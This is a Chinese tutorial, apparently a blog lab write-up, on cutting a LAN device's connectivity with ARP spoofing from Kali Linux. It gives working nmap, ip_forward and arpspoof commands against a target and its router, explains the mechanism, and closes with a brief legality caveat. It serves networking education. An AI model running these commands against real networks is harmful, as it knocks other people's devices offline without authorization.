ARP欺骗使局域网内设备断网

一、实验准备

  1. kali系统:可使用虚拟机软件模拟

    kali虚拟机镜像链接:https://www.kali.org/get-kali/#kali-virtual-machines

    注意虚拟机网络适配器采用桥接模式

  2. 局域网内存在指定断网的设备

二、实验步骤

  1. 打开kali系统命令行:ctrl+alt+t可快速打开终端

  2. 切换到root用户

    bash 复制代码
    sudo su
  3. 查看当前网段

    bash 复制代码
    ifconfig

    inet 192.168.10.145 netmask 255.255.255.0

    表明当前网段为192.168.10.0

  4. 查看当前路由器ip地址

    bash 复制代码
    ip route

    default via 192.168.10.1 dev eth0 proto dhcp src 192.168.10.145 metric 100

    192.168.10.0/24 dev eth0 proto kernel scope link src 192.168.10.145 metric 10

    表明路由器ip为192.168.10.1

  5. 扫描查看目标设备ip

    bash 复制代码
    nmap -sn 192.168.10.1/24  # 使用 Nmap 发现网络中的活动主机,等效于nmap -sn 192.168.10.1-255

    根据设备名称找到对应ip

  6. 设置kali系统不转发数据

    bash 复制代码
    echo 0 > /proc/sys/net/ipv4/ip_forward
  7. 执行arp欺骗

    bash 复制代码
    arpspoof -i eth0 -t 192.168.10.137 -r 192.168.10.1
    • -i: 指定使用的网卡
    • -t:指定欺骗的设备ip地址
    • -r:指定欺骗的路由器ip地址
  8. 目标设备无法获取新数据

三、原理

ARP欺骗

  1. 复制路由器mac地址,伪装为路由器并通知目标设备,以便后续目标设备将数据交给kali
  2. 复制目标设备mac地址,伪装为目标设备并通知路由器,以便后续路由器将数据交给kali
  3. 但kali设置不转发数据,因此路由器和目标设备发送至kali的所有数据均被抛弃,致使目标设备无法与路由器沟通无法获取数据

四、特别注意

请在合法场景下进行实验

相关推荐
电鱼智能的电小鱼14 分钟前
EFISH-SBC-RK3588无人机地面基准站项目
linux·网络·嵌入式硬件·机器人·无人机·边缘计算
电鱼智能的电小鱼19 分钟前
基于 EFISH-SBC-RK3588 的无人机环境感知与数据采集方案
linux·网络·嵌入式硬件·数码相机·无人机·边缘计算
小诸葛的博客1 小时前
详解Linux中的定时任务管理工具crond
linux·运维·chrome
一默19911 小时前
CentOS 7.9升级OpenSSH到9.9p2
linux·运维·centos
keep intensify1 小时前
Linux常用指令
linux·服务器·php
带电的小王2 小时前
sherpa-ncnn:Linux(x86/ARM32/ARM64)构建sherpa-ncnn --语音转文本大模型
linux·语音识别·实时音视频·sherpa-ncnn
沧浪之水!2 小时前
【Linux网络】:套接字之UDP
linux·网络·udp
BranH2 小时前
Linux系统中命令设定临时IP
linux·运维·服务器
秋风起,再归来~2 小时前
【Linux庖丁解牛】—进程优先级!
linux·运维·服务器
cosX+sinY3 小时前
ubuntu 20.04 编译运行lio-sam,并保存为pcd
linux·ubuntu·机器人